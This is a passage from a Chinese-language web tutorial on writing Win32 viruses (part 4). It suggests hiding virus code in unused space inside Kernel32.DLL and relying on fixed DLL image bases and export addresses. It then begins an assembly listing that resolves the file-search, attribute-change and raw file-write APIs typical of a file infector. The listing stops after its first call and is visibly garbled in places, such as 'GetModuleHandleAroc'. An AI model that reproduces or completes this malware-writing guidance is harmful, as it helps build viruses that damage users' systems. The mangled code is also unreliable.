Win32 下病毒设计入门详细说明(4)



  3、在Kernel32.DLL中Section Table在0x300以前就结束了,而真正的代码由0x1000处开始,其间有3K的未用空间,可以用来存放我们的代码。 Kernel32.DLL的Image Base可以由GetModuleHandleA得到。 

  4、在任何版本的Windows中,3个基本的DLL总是被加载(Kernel32.DLL,User32.DLL,GDI32.DLL),而且对于同一个版本的Windows,它们的Image Base,和导出函数的地址总是固定的。可以将得到的地址直接用于病毒使用。 

  .386p .model flat,stdcall extrn GetModuleHandleAroc extrn GetProcAddressroc extrn ExitProcessroc .data szKernel db 'KERNEL32.DLL',0 szFindFirst db 'FindFirstFileA',0 szFindNext db 'FindNextFileA',0 szFindClose db 'FindClose',0 szGetCurrentDir db 'GetCurrentDirectoryA',0 szGetWinDir db 'GetWindowsDirectoryA',0 szGetSysDir db 'GetSystemDirectoryA',0 szGetFileAttrib db 'GetFileAttributesA',0 szSetFileAttrib db 'SetFileAttributesA',0 szlopen db '_lopen',0 szlread db '_lread',0 szlwrite db '_lwrite',0 szlclose db '_lclose',0 szllseek db '_llseek',0 hKernel dd 0 .code ;Initialize code start: push szKernel call GetModuleHandleA 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1472.html